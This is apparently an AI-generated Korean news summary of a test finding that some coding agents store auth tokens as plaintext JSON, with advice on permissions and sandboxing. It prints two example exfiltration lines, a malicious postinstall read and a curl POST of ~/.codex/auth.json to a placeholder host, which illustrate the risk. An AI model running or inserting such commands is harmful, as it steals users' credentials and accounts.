핵심 요약
OpenAI와 Alibaba의 코딩 에이전트가 인증 토큰을 평문 JSON으로 저장하여 보안 취약점을 노출한 반면, Anthropic의 Claude Code만 OS 보안 저장소를 사용함을 확인했다.
배경
AI 코딩 에이전트들이 사용자 로컬 환경에서 코드를 실행하고 패키지를 설치하는 특성을 고려하여, 이들이 민감한 인증 정보를 어떻게 관리하는지 보안 관점에서 직접 테스트한 결과이다.
의미 / 영향
이 테스트 결과는 AI 에이전트 개발 시 기능적 완성도뿐만 아니라 로컬 실행 환경의 보안 아키텍처 설계가 필수적임을 시사한다. 특히 외부 코드를 수동적으로 실행하는 에이전트의 보안 모델은 기존 소프트웨어보다 훨씬 엄격한 기준이 적용되어야 함이 확인됐다.
커뮤니티 반응
대체로 충격적이라는 반응이며, 특히 대형 기업인 OpenAI와 Alibaba가 기본적인 보안 수칙을 지키지 않았다는 점에 대해 비판적인 의견이 많다.
실용적 조언
- AI 코딩 에이전트를 사용하기 전 설정 디렉토리(~/.codex, ~/.qwen 등)의 파일 권한을 확인하고 엄격히 제한해야 한다.
- 신뢰할 수 없는 리포지토리에서 에이전트를 실행할 때는 반드시 샌드박스 환경이나 격리된 컨테이너를 활용할 것을 권장한다.
- 보안이 중요한 프로젝트에서는 OS 보안 저장소를 공식 지원하는 도구를 우선적으로 선택해야 한다.
섹션별 상세
fs.readFileSync(homedir + '/.codex/auth.json') // sends to external server악성 npm 패키지의 postinstall 스크립트를 통해 평문으로 저장된 인증 파일을 탈취하는 예시
os.system("curl -X POST LINK -d @~/.codex/auth.json")테스트 파일 내에 숨겨진 명령어를 통해 인증 정보를 외부 서버로 전송하는 공격 예시
실무 Takeaway
- OpenAI와 Alibaba의 코딩 에이전트는 인증 토큰을 로컬에 평문으로 저장하여 심각한 보안 위험을 초래한다.
- Anthropic의 Claude Code는 OS 수준의 보안 저장소를 사용하여 적절한 보안 표준을 준수하고 있다.
- 외부 코드를 실행하는 도구의 특성상 평문 자격 증명 저장은 계정 탈취로 이어지는 직접적인 경로가 된다.
- 모든 AI 도구 개발사는 Keychain이나 Credential Manager와 같은 OS 보안 저장소 도입이 시급하다.
언급된 도구
OpenAI의 코딩 보조 도구
Alibaba의 코딩 보조 도구
Anthropic의 코딩 보조 도구
AI 요약 · 북마크 · 개인 피드 설정 — 무료
출처 · 인용 안내
인용 시 "요약 출처: AI Trends (aitrends.kr)"를 표기하고, 사실 확인은 원문 보기 기준으로 진행해 주세요. 자세한 기준은 운영 정책을 참고해 주세요.